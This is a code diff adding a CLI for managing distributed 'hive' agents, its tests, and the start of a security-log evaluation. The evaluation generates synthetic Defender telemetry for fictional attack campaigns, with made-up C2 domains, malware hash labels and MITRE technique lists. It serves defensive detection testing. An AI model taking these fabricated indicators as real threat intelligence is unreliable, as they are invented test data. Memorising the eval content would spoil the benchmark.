env["HIVE_AGENT_COUNT"] = str(len(config.get("agents", []))) + + print(f"Deploying hive '{hive_name}' to Azure...") + result = subprocess.run(["bash", str(deploy_script)], env=env) + return result.returncode + + +def cmd_status(args: argparse.Namespace) -> int: + """Show running agents and their fact counts.""" + hive_name = args.hive + config = _load_config(hive_name) + pids = _load_pids(hive_name) + agents = config.get("agents", []) + + print(f"Hive: {hive_name}") + print(f"Transport: {config.get('transport', 'local')}") + print(f"Agents: {len(agents)}") + print() + + if not agents: + print("No agents defined.") + return 0 + + print(f"{'Agent':<20} {'Status':<12} {'PID':<10} {'Facts':<10}") + print("-" * 55) + + for agent in agents: + agent_name = agent.get("name", "?") + pid = pids.get(agent_name) + if pid and _is_running(pid): + status = "running" + facts = _get_fact_count(hive_name, agent_name, config) + else: + status = "stopped" + facts = "-" + pid = pid or "-" + print(f"{agent_name:<20} {status:<12} {str(pid):<10} {str(facts):<10}") + + return 0 + + +def cmd_stop(args: argparse.Namespace) -> int: + """Terminate all running agents for a hive.""" + hive_name = args.hive + pids = _load_pids(hive_name) + + if not pids: + print(f"No running agents found for hive '{hive_name}'.") + return 0 + + stopped = 0 + for agent_name, pid in list(pids.items()): + if _is_running(pid): + try: + os.kill(pid, signal.SIGTERM) + print(f" Stopped {agent_name} (pid={pid})") + stopped += 1 + except ProcessLookupError: + print(f" {agent_name} (pid={pid}) already gone") + except PermissionError: + print(f" Cannot stop {agent_name} (pid={pid}): permission denied", file=sys.stderr) + + # Clear pids file + _save_pids(hive_name, {}) + print(f"Stopped {stopped} agent(s) in hive '{hive_name}'.") + return 0 + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _is_running(pid: int) -> bool: + """Check if a process with the given PID is running.""" + try: + os.kill(pid, 0) + return True + except (ProcessLookupError, PermissionError): + return False + + +def _get_fact_count(hive_name: str, agent_name: str, config: dict[str, Any]) -> str: + """Try to get fact count from agent's local store. Returns '-' on failure.""" + storage_path = config.get("storage_path", f"/tmp/amplihack-hive/{hive_name}") + agent_storage = os.path.join(storage_path, agent_name, "graph_store") + if not os.path.exists(agent_storage): + return "0" + # For in-memory or inaccessible stores, just return unknown + return "?" + + +def _find_entrypoint() -> str: + """Find agent_entrypoint.py in the deploy directory or package.""" + candidates = [ + # Installed as part of the package + Path(__file__).parent.parent.parent.parent / "deploy" / "azure_hive" / "agent_entrypoint.py", + # Development: repo root + Path(__file__).parent.parent.parent.parent.parent / "deploy" / "azure_hive" / "agent_entrypoint.py", + ] + for candidate in candidates: + if candidate.exists(): + return str(candidate) + # Fallback: create a minimal inline entrypoint script + return _get_inline_entrypoint() + + +def _get_inline_entrypoint() -> str: + """Write an inline entrypoint to a temp file if deploy dir not found.""" + import tempfile + + script = '''#!/usr/bin/env python3 +"""Inline agent entrypoint for local hive start.""" +import os, sys, time, logging +logging.basicConfig(level=logging.INFO, format="%(asctime)s %(name)s %(levelname)s: %(message)s") +logger = logging.getLogger("agent") +agent_name = os.environ.get("AMPLIHACK_AGENT_NAME", "agent") +prompt = os.environ.get("AMPLIHACK_AGENT_PROMPT", "You are a helpful agent.") +transport = os.environ.get("AMPLIHACK_MEMORY_TRANSPORT", "local") +conn_str = os.environ.get("AMPLIHACK_MEMORY_CONNECTION_STRING", "") +logger.info("Agent %s starting (transport=%s)", agent_name, transport) +try: + from amplihack.memory.facade import Memory + mem = Memory(agent_name, memory_transport=transport, memory_connection_string=conn_str) + mem.remember(f"Agent {agent_name} initialized. Prompt: {prompt}") + logger.info("Agent %s memory initialized", agent_name) + # Simple OODA loop placeholder - just keep alive + while True: + time.sleep(10) + logger.debug("Agent %s heartbeat", agent_name) +except KeyboardInterrupt: + pass +except Exception as e: + logger.exception("Agent %s failed: %s", agent_name, e) + sys.exit(1) +''' + tmp = tempfile.NamedTemporaryFile( + suffix="_agent_entrypoint.py", delete=False, mode="w" + ) + tmp.write(script) + tmp.close() + return tmp.name + + +def _find_deploy_script() -> Path | None: + """Find deploy/azure_hive/deploy.sh.""" + candidates = [ + Path(__file__).parent.parent.parent.parent / "deploy" / "azure_hive" / "deploy.sh", + Path(__file__).parent.parent.parent.parent.parent / "deploy" / "azure_hive" / "deploy.sh", + Path.cwd() / "deploy" / "azure_hive" / "deploy.sh", + ] + for c in candidates: + if c.exists(): + return c + return None + + +# --------------------------------------------------------------------------- +# Argument parser +# --------------------------------------------------------------------------- + + +def _build_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser( + prog="amplihack-hive", + description="Manage distributed hive mind deployments.", + ) + subparsers = parser.add_subparsers(dest="command", metavar="COMMAND") + + # create + p_create = subparsers.add_parser("create", help="Create a new hive config") + p_create.add_argument("--name", required=True, help="Hive name") + p_create.add_argument( + "--agents", type=int, default=1, help="Number of initial agents (default: 1)" + ) + p_create.add_argument( + "--transport", + default="local", + choices=["local", "redis", "azure_service_bus"], + help="Event transport (default: local)", + ) + p_create.add_argument( + "--connection-string", dest="connection_string", default="", + help="Connection string for Azure Service Bus or Redis URL", + ) + p_create.add_argument( + "--storage-path", dest="storage_path", default="", + help="Storage path for agent data", + ) + p_create.add_argument( + "--shard-backend", dest="shard_backend", default="memory", + choices=["memory", "kuzu"], + help="Graph store backend (default: memory)", + ) + + # add-agent + p_add = subparsers.add_parser("add-agent", help="Add an agent to an existing hive") + p_add.add_argument("--hive", required=True, help="Hive name") + p_add.add_argument("--agent-name", dest="agent_name", required=True, help="Agent name") + p_add.add_argument("--prompt", required=True, help="Agent system prompt") + p_add.add_argument( + "--kuzu-db", dest="kuzu_db", default=None, + help="Path to existing Kuzu database to mount", + ) + + # start + p_start = subparsers.add_parser("start", help="Start hive agents") + p_start.add_argument("--hive", required=True, help="Hive name") + p_start.add_argument( + "--target", + default="local", + choices=["local", "azure"], + help="Deployment target (default: local)", + ) + + # status + p_status = subparsers.add_parser("status", help="Show hive agent status") + p_status.add_argument("--hive", required=True, help="Hive name") + + # stop + p_stop = subparsers.add_parser("stop", help="Stop all hive agents") + p_stop.add_argument("--hive", required=True, help="Hive name") + + return parser + + +# --------------------------------------------------------------------------- +# Entry point +# --------------------------------------------------------------------------- + + +def main(argv: list[str] | None = None) -> int: + parser = _build_parser() + args = parser.parse_args(argv) + + if args.command is None: + parser.print_help() + return 0 + + # Set defaults for optional fields that may be missing + if args.command == "create" and not args.storage_path: + args.storage_path = f"/data/hive/{args.name}" + + commands = { + "create": cmd_create, + "add-agent": cmd_add_agent, + "start": cmd_start, + "status": cmd_status, + "stop": cmd_stop, + } + + fn = commands.get(args.command) + if fn is None: + parser.print_help() + return 1 + + try: + return fn(args) + except FileNotFoundError as e: + print(f"Error: {e}", file=sys.stderr) + return 1 + except Exception as e: + logger.exception("Unexpected error") + print(f"Error: {e}", file=sys.stderr) + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/src/amplihack/cli/hive_haymaker.py b/src/amplihack/cli/hive_haymaker.py new file mode 100644 index 000000000..a6f444c53 --- /dev/null +++ b/src/amplihack/cli/hive_haymaker.py @@ -0,0 +1,174 @@ +"""amplihack haymaker CLI extensions for the hive-mind workload. + +Registers two sub-commands under the ``haymaker hive`` group: + + haymaker hive feed --deployment-id ID --turns N + Publishes N LEARN_CONTENT events then a FEED_COMPLETE sentinel. + Replaces: python feed_content.py --turns N + + haymaker hive eval --deployment-id ID --repeats N [--wait-for-ready M] + Waits for M AGENT_READY events (event-driven, no sleep timers), then + runs N question rounds and prints answers. + Replaces: python query_hive.py + +These commands are registered as a Click plugin via the entry-point: + [project.entry-points."agent_haymaker.cli_extensions"] + hive = "amplihack.cli.hive_haymaker:hive_group" + +The ``haymaker`` CLI auto-discovers extensions via this entry-point group, +adding them as sub-groups of the top-level ``haymaker`` command. +""" + +from __future__ import annotations + +import asyncio +import json +import sys + +try: + import click +except ImportError: # pragma: no cover + click = None # type: ignore[assignment] + + +def _require_click() -> None: + if click is None: + raise RuntimeError("click is required. Install with: pip install click") + + +# --------------------------------------------------------------------------- +# hive group +# --------------------------------------------------------------------------- + +if click is not None: + + @click.group("hive") + def hive_group() -> None: + """Hive-mind workload commands (feed content, run eval).""" + + @hive_group.command("feed") + @click.option("--deployment-id", required=True, help="Hive deployment ID.") + @click.option("--turns", default=100, show_default=True, type=int, help="Number of LEARN_CONTENT events to send.") + @click.option("--topic", default=None, help="Override Service Bus topic name.") + @click.option("--sb-conn-str", envvar="AMPLIHACK_MEMORY_CONNECTION_STRING", default="", help="Service Bus connection string (env: AMPLIHACK_MEMORY_CONNECTION_STRING).") + def hive_feed(deployment_id: str, turns: int, topic: str | None, sb_conn_str: str) -> None: + """Feed learning content into the hive. + + Publishes TURNS LEARN_CONTENT events followed by a FEED_COMPLETE + sentinel to the Service Bus topic. Agents subscribed to the topic + will ingest and learn the content. + + Replaces: python deploy/azure_hive/feed_content.py --turns N + """ + import os + + from amplihack.workloads.hive._feed import run_feed + + resolved_topic = topic or os.environ.get("AMPLIHACK_TOPIC_NAME", "hive-graph") + + click.echo(f"Feeding {turns} turns into deployment {deployment_id} (topic={resolved_topic})") + try: + asyncio.run( + run_feed( + deployment_id=deployment_id, + turns=turns, + topic_name=resolved_topic, + sb_conn_str=sb_conn_str, + ) + ) + click.echo(f"Done. {turns} LEARN_CONTENT + 1 FEED_COMPLETE sent.") + except KeyboardInterrupt: + click.echo("Interrupted.") + sys.exit(0) + except Exception as exc: + click.echo(f"Error: {exc}", err=True) + sys.exit(1) + + @hive_group.command("eval") + @click.option("--deployment-id", required=True, help="Hive deployment ID.") + @click.option("--repeats", default=3, show_default=True, type=int, help="Number of question rounds.") + @click.option("--wait-for-ready", default=0, show_default=True, type=int, help="Number of AGENT_READY events to wait for before starting eval (0 = skip wait).") + @click.option("--timeout", default=600, show_default=True, type=int, help="Max seconds to wait for agents to become ready.") + @click.option("--topic", default=None, help="Override Service Bus topic name.") + @click.option("--sb-conn-str", envvar="AMPLIHACK_MEMORY_CONNECTION_STRING", default="", help="Service Bus connection string (env: AMPLIHACK_MEMORY_CONNECTION_STRING).") + @click.option("--output", default="text", type=click.Choice(["text", "json"]), help="Output format.") + def hive_eval( + deployment_id: str, + repeats: int, + wait_for_ready: int, + timeout: int, + topic: str | None, + sb_conn_str: str, + output: str, + ) -> None: + """Evaluate hive agent knowledge. + + Optionally waits for WAIT_FOR_READY AGENT_READY events (event-driven, + no sleep timers), then runs REPEATS question rounds and prints results. + + Replaces: python experiments/hive_mind/query_hive.py + + Examples: + + # Wait for all 100 agents, then run 5 question rounds + haymaker hive eval --deployment-id abc123 --repeats 5 --wait-for-ready 100 + + # Skip the wait and run 3 rounds immediately + haymaker hive eval --deployment-id abc123 --repeats 3 + """ + import os + + from amplihack.workloads.hive._eval import run_eval + + resolved_topic = topic or os.environ.get("AMPLIHACK_TOPIC_NAME", "hive-graph") + + if wait_for_ready > 0: + click.echo( + f"Waiting for {wait_for_ready} agents to signal AGENT_READY " + f"(timeout={timeout}s)..." + ) + click.echo(f"Running {repeats} eval rounds against deployment {deployment_id}") + + try: + results = asyncio.run( + run_eval( + deployment_id=deployment_id, + repeats=repeats, + wait_for_ready=wait_for_ready, + timeout_seconds=timeout, + sb_conn_str=sb_conn_str, + topic_name=resolved_topic, + ) + ) + except KeyboardInterrupt: + click.echo("Interrupted.") + sys.exit(0) + except Exception as exc: + click.echo(f"Error: {exc}", err=True) + sys.exit(1) + + if output == "json": + click.echo(json.dumps(results, indent=2)) + else: + for i, result in enumerate(results, 1): + click.echo(f"\n--- Round {i} ---") + click.echo(f"Q: {result['question']}") + answers = result.get("answers", []) + if answers: + for ans in answers: + click.echo(f" [{ans['agent']}] {ans['answer']}") + else: + click.echo(" (no responses received)") + +else: + # click not available — define stub so imports don't fail at load time + class hive_group: # type: ignore[no-redef] + """Stub when click is not installed.""" + + @staticmethod + def main() -> None: + print("click is required: pip install click", file=sys.stderr) + sys.exit(1) + + +__all__ = ["hive_group"] diff --git a/src/amplihack/cli/tests/__init__.py b/src/amplihack/cli/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/amplihack/cli/tests/test_hive_cli.py b/src/amplihack/cli/tests/test_hive_cli.py new file mode 100644 index 000000000..2199d8259 --- /dev/null +++ b/src/amplihack/cli/tests/test_hive_cli.py @@ -0,0 +1,253 @@ +"""Tests for amplihack-hive CLI commands.""" + +from __future__ import annotations + +import json +import os +import signal +import tempfile +from pathlib import Path +from unittest.mock import MagicMock, patch + +import pytest + +from amplihack.cli.hive import ( + _config_path, + _hive_dir, + _is_running, + _load_config, + _load_pids, + _save_config, + _save_pids, + cmd_add_agent, + cmd_create, + cmd_status, + cmd_stop, + main, +) + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + + +@pytest.fixture() +def tmp_hives(tmp_path, monkeypatch): + """Redirect hive directory to a temp location.""" + import amplihack.cli.hive as hive_module + monkeypatch.setattr(hive_module, "_HIVES_DIR", tmp_path / "hives") + return tmp_path / "hives" + + +# --------------------------------------------------------------------------- +# Tests: create +# --------------------------------------------------------------------------- + + +class TestCreate: + def test_create_makes_config(self, tmp_hives): + rc = main(["create", "--name", "myhive", "--agents", "2"]) + assert rc == 0 + cfg_path = tmp_hives / "myhive" / "config.yaml" + assert cfg_path.exists() + + def test_create_sets_agent_count(self, tmp_hives): + main(["create", "--name", "testhive", "--agents", "3"]) + import amplihack.cli.hive as m + cfg = m._load_config("testhive") + assert len(cfg["agents"]) == 3 + + def test_create_agent_names(self, tmp_hives): + main(["create", "--name", "namehive", "--agents", "2"]) + import amplihack.cli.hive as m + cfg = m._load_config("namehive") + names = [a["name"] for a in cfg["agents"]] + assert names == ["agent_0", "agent_1"] + + def test_create_with_transport(self, tmp_hives): + main([ + "create", "--name", "azurehive", "--agents", "1", + "--transport", "azure_service_bus", + "--connection-string", "Endpoint=sb://test", + ]) + import amplihack.cli.hive as m + cfg = m._load_config("azurehive") + assert cfg["transport"] == "azure_service_bus" + assert cfg["connection_string"] == "Endpoint=sb://test" + + def test_create_default_transport_is_local(self, tmp_hives): + main(["create", "--name", "localhive", "--agents", "1"]) + import amplihack.cli.hive as m + cfg = m._load_config("localhive") + assert cfg["transport"] == "local" + + def test_create_returns_0(self, tmp_hives): + rc = main(["create", "--name", "rchive", "--agents", "1"]) + assert rc == 0 + + +# --------------------------------------------------------------------------- +# Tests: add-agent +# --------------------------------------------------------------------------- + + +class TestAddAgent: + def _setup_hive(self, name: str) -> None: + main(["create", "--name", name, "--agents", "1"]) + + def test_add_agent_appends(self, tmp_hives): + self._setup_hive("addhive") + rc = main([ + "add-agent", "--hive", "addhive", + "--agent-name", "new_agent", + "--prompt", "You are a tester", + ]) + assert rc == 0 + import amplihack.cli.hive as m + cfg = m._load_config("addhive") + names = [a["name"] for a in cfg["agents"]] + assert "new_agent" in names + + def test_add_agent_with_kuzu_db(self, tmp_hives): + self._setup_hive("kuzuhive") + main([ + "add-agent", "--hive", "kuzuhive", + "--agent-name", "kuzu_agent", + "--prompt", "You are a DB agent", + "--kuzu-db", "/tmp/test.kuzu", + ]) + import amplihack.cli.hive as m + cfg = m._load_config("kuzuhive") + kuzu_agents = [a for a in cfg["agents"] if a.get("kuzu_db")] + assert len(kuzu_agents) == 1 + assert kuzu_agents[0]["kuzu_db"] == "/tmp/test.kuzu" + + def test_add_agent_duplicate_returns_1(self, tmp_hives): + main(["create", "--name", "duphive", "--agents", "1"]) + rc = main([ + "add-agent", "--hive", "duphive", + "--agent-name", "agent_0", + "--prompt", "Duplicate", + ]) + assert rc == 1 + + def test_add_agent_missing_hive_returns_1(self, tmp_hives): + rc = main([ + "add-agent", "--hive", "nonexistent", + "--agent-name", "x", + "--prompt", "y", + ]) + assert rc == 1 + + +# --------------------------------------------------------------------------- +# Tests: status +# --------------------------------------------------------------------------- + + +class TestStatus: + def test_status_prints_agents(self, tmp_hives, capsys): + main(["create", "--name", "statushive", "--agents", "2"]) + rc = main(["status", "--hive", "statushive"]) + assert rc == 0 + captured = capsys.readouterr() + assert "statushive" in captured.out + assert "agent_0" in captured.out + assert "agent_1" in captured.out + + def test_status_shows_stopped_for_dead_pids(self, tmp_hives, capsys): + main(["create", "--name", "deadhive", "--agents", "1"]) + import amplihack.cli.hive as m + # Save a fake PID that isn't running + _save_pids("deadhive", {"agent_0": 999999999}) + main(["status", "--hive", "deadhive"]) + captured = capsys.readouterr() + assert "stopped" in captured.out + + +# --------------------------------------------------------------------------- +# Tests: stop +# --------------------------------------------------------------------------- + + +class TestStop: + def test_stop_no_pids_returns_0(self, tmp_hives, capsys): + main(["create", "--name", "nopidshive", "--agents", "1"]) + rc = main(["stop", "--hive", "nopidshive"]) + assert rc == 0 + + def test_stop_sends_sigterm(self, tmp_hives): + main(["create", "--name", "stophive", "--agents", "1"]) + import amplihack.cli.hive as m + + # Simulate a running process by using os.getpid() (our own PID) + # but mock os.kill so we don't actually kill ourselves + _save_pids("stophive", {"agent_0": os.getpid()}) + + killed = [] + original_kill = os.kill + + def mock_kill(pid, sig): + if sig == signal.SIGTERM: + killed.append(pid) + # Don't raise for our own PID + + with patch("amplihack.cli.hive.os.kill", side_effect=mock_kill): + # Also mock _is_running to say process is running + with patch("amplihack.cli.hive._is_running", return_value=True): + rc = main(["stop", "--hive", "stophive"]) + + assert rc == 0 + assert os.getpid() in killed + + def test_stop_clears_pids(self, tmp_hives): + main(["create", "--name", "clearpidshive", "--agents", "1"]) + import amplihack.cli.hive as m + _save_pids("clearpidshive", {"agent_0": 999999999}) + + # Mock _is_running to return False (already gone) + with patch("amplihack.cli.hive._is_running", return_value=False): + main(["stop", "--hive", "clearpidshive"]) + + pids = _load_pids("clearpidshive") + assert pids == {} + + +# --------------------------------------------------------------------------- +# Tests: helpers +# --------------------------------------------------------------------------- + + +class TestHelpers: + def test_is_running_own_pid(self): + assert _is_running(os.getpid()) is True + + def test_is_running_nonexistent(self): + assert _is_running(999999999) is False + + def test_load_config_missing_raises(self, tmp_hives): + with pytest.raises(FileNotFoundError): + _load_config("does_not_exist") + + def test_save_and_load_pids(self, tmp_hives): + main(["create", "--name", "pidhive", "--agents", "1"]) + _save_pids("pidhive", {"agent_0": 12345}) + pids = _load_pids("pidhive") + assert pids["agent_0"] == 12345 + + +# --------------------------------------------------------------------------- +# Tests: main entry point +# --------------------------------------------------------------------------- + + +class TestMain: + def test_main_no_args_returns_0(self, tmp_hives): + rc = main([]) + assert rc == 0 + + def test_main_unknown_command_returns_nonzero(self, tmp_hives): + # argparse will print error and exit — expect SystemExit or return code + with pytest.raises(SystemExit): + main(["unknown-command"]) diff --git a/src/amplihack/eval/security_log_eval.py b/src/amplihack/eval/security_log_eval.py new file mode 100644 index 000000000..44d00075a --- /dev/null +++ b/src/amplihack/eval/security_log_eval.py @@ -0,0 +1,1122 @@ +"""Security Log Eval — MDE-style distributed threat detection evaluation. + +Generates realistic Microsoft Defender for Endpoint (MDE) telemetry — +process creation events, network connections, file/registry modifications, +and alert chains — distributed across multiple attack campaigns spanning +weeks. The data volume exceeds single-agent memory, requiring the distributed +hive mind graph for full coverage. + +Measures precision, recall, and F1 for: + - Alert retrieval (can the hive find specific alerts?) + - Attack chain reconstruction (can it link multi-stage attacks?) + - IOC correlation (can it connect indicators across campaigns?) + - Temporal reasoning (can it answer timeline questions?) + - Cross-campaign attribution (same TTP across different incidents?) + +Usage (local): + python -m amplihack.eval.security_log_eval --turns 10000 + +Usage (distributed, 100 agents): + python deploy/azure_hive/eval_distributed_security.py \\ + --connection-string "$EH_CONN" --agents 100 --turns 50000 +""" + +from __future__ import annotations + +import hashlib +import json +import logging +import random +import time +from dataclasses import dataclass, field +from typing import Any + +logger = logging.getLogger(__name__) + +# ============================================================ +# MDE Telemetry Templates +# ============================================================ + +MITRE_TECHNIQUES = { + "T1566.001": "Phishing: Spearphishing Attachment", + "T1059.001": "Command and Scripting: PowerShell", + "T1059.003": "Command and Scripting: Windows Command Shell", + "T1053.005": "Scheduled Task", + "T1547.001": "Registry Run Keys / Startup Folder", + "T1003.001": "OS Credential Dumping: LSASS Memory", + "T1021.001": "Remote Services: RDP", + "T1021.002": "Remote Services: SMB/Windows Admin Shares", + "T1021.006": "Remote Services: Windows Remote Management", + "T1070.001": "Indicator Removal: Clear Windows Event Logs", + "T1070.004": "Indicator Removal: File Deletion", + "T1105": "Ingress Tool Transfer", + "T1027": "Obfuscated Files or Information", + "T1569.002": "System Services: Service Execution", + "T1486": "Data Encrypted for Impact", + "T1048.003": "Exfiltration Over Alternative Protocol: Unencrypted", + "T1071.001": "Application Layer Protocol: Web Protocols", + "T1082": "System Information Discovery", + "T1083": "File and Directory Discovery", + "T1057": "Process Discovery", + "T1018": "Remote System Discovery", + "T1087.002": "Account Discovery: Domain Account", + "T1560.001": "Archive Collected Data: Archive via Utility", + "T1036.005": "Masquerading: Match Legitimate Name", + "T1055.001": "Process Injection: DLL Injection", + "T1140": "Deobfuscate/Decode Files or Information", + "T1218.011": "Rundll32", + "T1543.003": "Create or Modify System Process: Windows Service", + "T1562.001": "Impair Defenses: Disable or Modify Tools", + "T1490": "Inhibit System Recovery", +} + +# Realistic device names for a 500-device enterprise +DEVICE_POOLS = { + "workstations": [f"WS-{dept}-{i:03d}" for dept in ["FIN", "ENG", "MKT", "HR", "EXEC", "IT", "LEGAL"] for i in range(1, 16)], + "servers": [f"SRV-{role}-{i:02d}" for role in ["DC", "SQL", "WEB", "APP", "FILE", "EXCH", "SCCM", "WSUS"] for i in range(1, 6)], + "domain_controllers": [f"SRV-DC-{i:02d}" for i in range(1, 4)], +} + +USERS = [ + ("jsmith", "John Smith", "Finance"), + ("agarcia", "Ana Garcia", "Engineering"), + ("mwong", "Michael Wong", "Marketing"), + ("ljohnson", "Lisa Johnson", "HR"), + ("rbrown", "Robert Brown", "IT"), + ("kwilliams", "Karen Williams", "Legal"), + ("dlee", "David Lee", "Engineering"), + ("spatel", "Sanjay Patel", "IT"), + ("jchen", "Jennifer Chen", "Finance"), + ("tmartin", "Tom Martin", "Executive"), + ("nkim", "Nancy Kim", "Engineering"), + ("crodriguez", "Carlos Rodriguez", "IT"), + ("svc_backup", "Service Account", "IT"), + ("svc_deploy", "Service Account", "IT"), + ("admin_spatel", "Sanjay Patel (Admin)", "IT"), +] + +C2_DOMAINS = [ + "cdn-static-assets.com", "api-telemetry-service.net", + "cloud-sync-update.com", "global-content-delivery.net", + "secure-update-check.com", "analytics-reporting.io", +] + +MALWARE_HASHES = { + "cobalt_strike": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", + "mimikatz": "d4e5f6a7b8c9d0e1f2a3b4c5d6a7b8c9", + "ransomware_payload": "f6a7b8c9d0e1f2a3b4c5d6a7b8c9d0e1", + "keylogger": "b8c9d0e1f2a3b4c5d6a7b8c9d0e1f2a3", + "lateral_tool": "c9d0e1f2a3b4c5d6a7b8c9d0e1f2a3b4", +} + +ALERT_SEVERITIES = ["Informational", "Low", "Medium", "High", "Critical"] + + +# ============================================================ +# Attack Campaign Definitions +# ============================================================ + +@dataclass +class AttackCampaign: + """A multi-stage attack campaign with ground truth.""" + campaign_id: str + name: str + threat_actor: str + start_day: int # day offset from epoch + duration_days: int + initial_access: str # MITRE technique + techniques: list[str] + target_devices: list[str] + target_users: list[str] + c2_domains: list[str] + malware_hashes: list[str] + objective: str # data exfil, ransomware, espionage + iocs: dict[str, list[str]] # type -> values + lateral_movement_path: list[str] # device chain + data_exfil_gb: float + detected: bool + detection_delay_hours: int + + +def _generate_campaigns(rng: random.Random, num_campaigns: int = 12) -> list[AttackCampaign]: + """Generate deterministic attack campaigns.""" + campaigns = [] + actors = [ + ("APT-BEAR", "Nation-state: Eastern European"), + ("APT-DRAGON", "Nation-state: East Asian"), + ("CARBON-SPIDER", "eCrime: Ransomware group"), + ("SCATTERED-SPIDER", "eCrime: Social engineering"), + ("VELVET-TYPHOON", "Nation-state: Espionage"), + ("SANDSTORM-7", "Hacktivist collective"), + ] + + objectives = ["data_exfiltration", "ransomware", "espionage", "cryptomining", "supply_chain"] + + techniques_by_objective = { + "data_exfiltration": ["T1566.001", "T1059.001", "T1003.001", "T1021.002", + "T1083", "T1560.001", "T1048.003"], + "ransomware": ["T1566.001", "T1059.003", "T1053.005", "T1021.001", + "T1562.001", "T1490", "T1486"], + "espionage": ["T1566.001", "T1059.001", "T1055.001", "T1003.001", + "T1087.002", "T1018", "T1071.001"], + "cryptomining": ["T1059.001", "T1053.005", "T1543.003", "T1105"], + "supply_chain": ["T1059.001", "T1036.005", "T1547.001", "T1027", + "T1140", "T1218.011"], + } + + all_devices = DEVICE_POOLS["workstations"] + DEVICE_POOLS["servers"] + + for i in range(num_campaigns): + actor_name, actor_desc = actors[i % len(actors)] + objective = objectives[i % len(objectives)] + techniques = techniques_by_objective[objective] + + num_devices = rng.randint(3, 12) + target_devices = rng.sample(all_devices, min(num_devices, len(all_devices))) + num_users = rng.randint(1, 4) + target_users = [u[0] for u in rng.sample(USERS, min(num_users, len(USERS)))] + c2 = rng.sample(C2_DOMAINS, rng.randint(1, 3)) + + # Generate unique IOCs per campaign + campaign_hash = hashlib.md5(f"campaign-{i}-{actor_name}".encode()).hexdigest() + malware = [campaign_hash[:32]] + ips = [f"185.{rng.randint(100,255)}.{rng.randint(1,254)}.{rng.randint(1,254)}" for _ in range(rng.randint(2, 5))] + + lateral_path = target_devices[:rng.randint(2, min(5, len(target_devices)))] + + campaigns.append(AttackCampaign( + campaign_id=f"CAMP-{2024+i//6}-{i+1:03d}", + name=f"Operation {rng.choice(['Midnight', 'Shadow', 'Storm', 'Glacier', 'Phoenix', 'Cobalt', 'Iron', 'Crimson', 'Azure', 'Onyx', 'Jade', 'Ruby'])} {rng.choice(['Wolf', 'Bear', 'Eagle', 'Fox', 'Lion', 'Hawk', 'Viper', 'Falcon'])}", + threat_actor=f"{actor_name} ({actor_desc})", + start_day=i * 5 + rng.randint(0, 3), + duration_days=rng.randint(2, 14), + initial_access="T1566.001", + techniques=techniques, + target_devices=target_devices, + target_users=target_users, + c2_domains=c2, + malware_hashes=malware, + objective=objective, + iocs={"ip": ips, "domain": c2, "hash": malware}, + lateral_movement_path=lateral_path, + data_exfil_gb=round(rng.uniform(0.1, 50.0), 2) if objective == "data_exfiltration" else 0, + detected=rng.random() > 0.15, # 85% detection rate + detection_delay_hours=rng.randint(1, 72), + )) + + return campaigns + + +# ============================================================ +# MDE Event Generators +# ============================================================ + +def _mde_process_event(rng: random.Random, ts: str, device: str, user: str, + process: str, parent: str, cmdline: str, + technique: str = "") -> str: + """Generate an MDE DeviceProcessEvents record.""" + return ( + f"[MDE DeviceProcessEvents] Timestamp: {ts} | " + f"DeviceName: {device} | ActionType: ProcessCreated | " + f"AccountName: {user} | FileName: {process} | " + f"ProcessCommandLine: {cmdline} | " + f"InitiatingProcessFileName: {parent} | " + f"SHA256: {hashlib.sha256(f'{process}-{ts}'.encode()).hexdigest()[:64]}" + + (f" | MitreTechniques: {technique}" if technique else "") + ) + + +def _mde_network_event(rng: random.Random, ts: str, device: str, + remote_ip: str, remote_port: int, + protocol: str = "TCP", action: str = "ConnectionSuccess") -> str: + """Generate an MDE DeviceNetworkEvents record.""" + return ( + f"[MDE DeviceNetworkEvents] Timestamp: {ts} | " + f"DeviceName: {device} | ActionType: {action} | " + f"RemoteIP: {remote_ip} | RemotePort: {remote_port} | " + f"Protocol: {protocol} | " + f"LocalPort: {rng.randint(49152, 65535)}" + ) + + +def _mde_file_event(rng: random.Random, ts: str, device: str, user: str, + filename: str, action: str = "FileCreated", + sha256: str = "") -> str: + """Generate an MDE DeviceFileEvents record.""" + h = sha256 or hashlib.sha256(f'{filename}-{ts}'.encode()).hexdigest()[:64] + return ( + f"[MDE DeviceFileEvents] Timestamp: {ts} | " + f"DeviceName: {device} | ActionType: {action} | " + f"AccountName: {user} | FileName: {filename} | SHA256: {h}" + ) + + +def _mde_registry_event(ts: str, device: str, key: str, value: str, + action: str = "RegistryValueSet") -> str: + """Generate an MDE DeviceRegistryEvents record.""" + return ( + f"[MDE DeviceRegistryEvents] Timestamp: {ts} | " + f"DeviceName: {device} | ActionType: {action} | " + f"RegistryKey: {key} | RegistryValueName: {value}" + ) + + +def _mde_alert(ts: str, device: str, title: str, severity: str, + category: str, technique: str = "", + alert_id: str = "") -> str: + """Generate an MDE AlertInfo record.""" + return ( + f"[MDE AlertInfo] Timestamp: {ts} | " + f"AlertId: {alert_id or hashlib.md5(f'{title}-{ts}'.encode()).hexdigest()[:16]} | " + f"DeviceName: {device} | Title: {title} | " + f"Severity: {severity} | Category: {category}" + + (f" | MitreTechniques: {technique}" if technique else "") + ) + + +def _mde_logon_event(ts: str, device: str, user: str, + logon_type: str = "Interactive", + success: bool = True) -> str: + """Generate an MDE DeviceLogonEvents record.""" + action = "LogonSuccess" if success else "LogonFailed" + return ( + f"[MDE DeviceLogonEvents] Timestamp: {ts} | " + f"DeviceName: {device} | ActionType: {action} | " + f"AccountName: {user} | LogonType: {logon_type}" + ) + + +# ============================================================ +# Campaign Event Generation +# ============================================================ + +def _ts(day: int, hour: int, minute: int, second: int = 0) -> str: + """Generate a timestamp string.""" + return f"2024-{(day // 30) + 3:02d}-{(day % 30) + 1:02d} {hour:02d}:{minute:02d}:{second:02d}" + + +def _generate_campaign_events(rng: random.Random, campaign: AttackCampaign) -> list[dict]: + """Generate all MDE events for a campaign with ground truth.""" + events = [] + day = campaign.start_day + devices = campaign.target_devices + users = campaign.target_users + primary_device = devices[0] + primary_user = users[0] + + # Phase 1: Initial Access (phishing) + ts = _ts(day, rng.randint(8, 10), rng.randint(0, 59)) + events.append({ + "content": _mde_process_event( + rng, ts, primary_device, primary_user, + "outlook.exe", "explorer.exe", + f"\"C:\\Program Files\\Microsoft 